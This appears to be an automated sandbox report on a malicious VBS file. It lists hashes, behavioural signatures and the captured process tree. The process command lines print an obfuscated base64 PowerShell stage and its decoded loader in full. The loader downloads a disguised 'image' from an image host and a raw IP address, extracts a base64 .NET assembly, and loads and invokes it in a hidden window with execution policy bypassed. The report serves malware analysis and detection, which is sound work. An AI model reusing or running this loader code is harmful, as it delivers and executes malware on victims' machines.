Analysis
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max time kernel
121s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
13-02-2024 02:31
Static task
static1
Behavioral task
behavioral1
Sample
5c5681a93c0ef3004c662242ec586415d9c9cd13138c8958e3c4bd99e2e6ff41.vbs
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
5c5681a93c0ef3004c662242ec586415d9c9cd13138c8958e3c4bd99e2e6ff41.vbs
Resource
win10v2004-20231215-en
General
-
Target
5c5681a93c0ef3004c662242ec586415d9c9cd13138c8958e3c4bd99e2e6ff41.vbs
-
Size
2KB
-
MD5
c3d455321c187a2df2aed12dbc87ce9c
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SHA1
eb84d2cfa012f031ac9f50b8685b23ebd69f1268
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SHA256
5c5681a93c0ef3004c662242ec586415d9c9cd13138c8958e3c4bd99e2e6ff41
-
SHA512
9a36cc77aa6413c18c69053ad30b7332ed8dfd2d80b6dafddd7df1a074bd50b6695859c4d3951f944c5a22b6302f0ed2f131c357495d04be130f6a5a448b1215
Malware Config
Signatures
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Blocklisted process makes network request 3 IoCs
flow pid Process 3 3016 WScript.exe 4 3016 WScript.exe 7 2692 powershell.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2340 powershell.exe 2692 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2340 powershell.exe Token: SeDebugPrivilege 2692 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3016 wrote to memory of 2340 3016 WScript.exe 28 PID 3016 wrote to memory of 2340 3016 WScript.exe 28 PID 3016 wrote to memory of 2340 3016 WScript.exe 28 PID 2340 wrote to memory of 2692 2340 powershell.exe 30 PID 2340 wrote to memory of 2692 2340 powershell.exe 30 PID 2340 wrote to memory of 2692 2340 powershell.exe 30
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5c5681a93c0ef3004c662242ec586415d9c9cd13138c8958e3c4bd99e2e6ff41.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3016 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTrecwBoDgTreHUDgTreZgBmDgTreGwDgTreZQBkDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBHDgTreGUDgTredDgTreDgTretDgTreFIDgTreYQBuDgTreGQDgTrebwBtDgTreCDgTreDgTreLQBJDgTreG4DgTrecDgTreB1DgTreHQDgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTrecgBlDgTreHQDgTredQByDgTreG4DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCDgTreDgTrefQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreQDgTreDgTreoDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTrezDgTreDEDgTreLwDgTre5DgTreDUDgTreODgTreDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMDgTreDgTre3DgTreDEDgTreNDgTreDgTrezDgTreDYDgTreNwDgTrezDgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreDgTre6DgTreC8DgTreLwDgTre0DgTreDUDgTreLgDgTre3DgTreDQDgTreLgDgTrexDgTreDkDgTreLgDgTre4DgTreDQDgTreLwB4DgTreGEDgTrebQBwDgTreHDgTreDgTreLwBiDgTreGsDgTrecDgTreDgTrevDgTreGIDgTreawBwDgTreDEDgTreXwB2DgTreGIDgTrecwDgTreuDgTreGoDgTrecDgTreBnDgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreEYDgTrecgBvDgTreG0DgTreTDgTreBpDgTreG4DgTreawBzDgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTreLQBuDgTreGUDgTreIDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBUDgTreGUDgTreeDgTreB0DgTreC4DgTreRQBuDgTreGMDgTrebwBkDgTreGkDgTrebgBnDgTreF0DgTreOgDgTre6DgTreFUDgTreVDgTreBGDgTreDgDgTreLgBHDgTreGUDgTredDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwBlDgTreCDgTreDgTreMDgTreDgTregDgTreC0DgTreYQBuDgTreGQDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwB0DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreKwDgTre9DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTreuDgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBDDgTreG8DgTrebgB2DgTreGUDgTrecgB0DgTreF0DgTreOgDgTre6DgTreEYDgTrecgBvDgTreG0DgTreQgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreUDgTreBSDgTreE8DgTreSgBFDgTreFQDgTreTwBBDgTreFUDgTreVDgTreBPDgTreE0DgTreQQBDDgTreEEDgTreTwDgTreuDgTreFYDgTreQgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreG0DgTreZQB0DgTreGgDgTrebwBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTreuDgTreEcDgTreZQB0DgTreE0DgTreZQB0DgTreGgDgTrebwBkDgTreCgDgTreJwBWDgTreEEDgTreSQDgTrenDgTreCkDgTreLgBJDgTreG4DgTredgBvDgTreGsDgTreZQDgTreoDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTresDgTreCDgTreDgTreWwBvDgTreGIDgTreagBlDgTreGMDgTredDgTreBbDgTreF0DgTreXQDgTregDgTreCgDgTreJwB0DgTreHgDgTredDgTreDgTreuDgTreG4DgTrebQDgTrevDgTreEsDgTreSgDgTrevDgTreG0DgTrebwBjDgTreC4DgTrecwByDgTreGUDgTreZDgTreBuDgTreG8DgTredwBzDgTreHIDgTreZQBkDgTreG4DgTreaQB3DgTreC8DgTreLwDgTre6DgTreHMDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreMQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreQwDgTre6DgTreFwDgTreUDgTreByDgTreG8DgTreZwByDgTreGEDgTrebQBEDgTreGEDgTredDgTreBhDgTreFwDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreE4DgTreYQBtDgTreGUDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/731/958/original/new_image.jpg?1707143673', 'http://45.74.19.84/xampp/bkp/bkp1_vbs.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.nm/KJ/moc.srednowsredniw//:sptth' , '1' , 'C:\ProgramData\' , 'Name'))} }"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2692
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Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5a26711700814108c8317e815800764cd
SHA185dc3781a1d20946353a2031c95ec001d04ed939
SHA2562264cbc0da97fd635cbf2838b7ffa2647315e1bce1128125e0547f801e3c0b7a
SHA51263a641ab1942534be055139bcc3c7fc06f89ba4ef93480e1f00a36fae691c969c77548b92ea2ba92e53bd8206a3a7241c6f70376271070d17867582e5c803dc8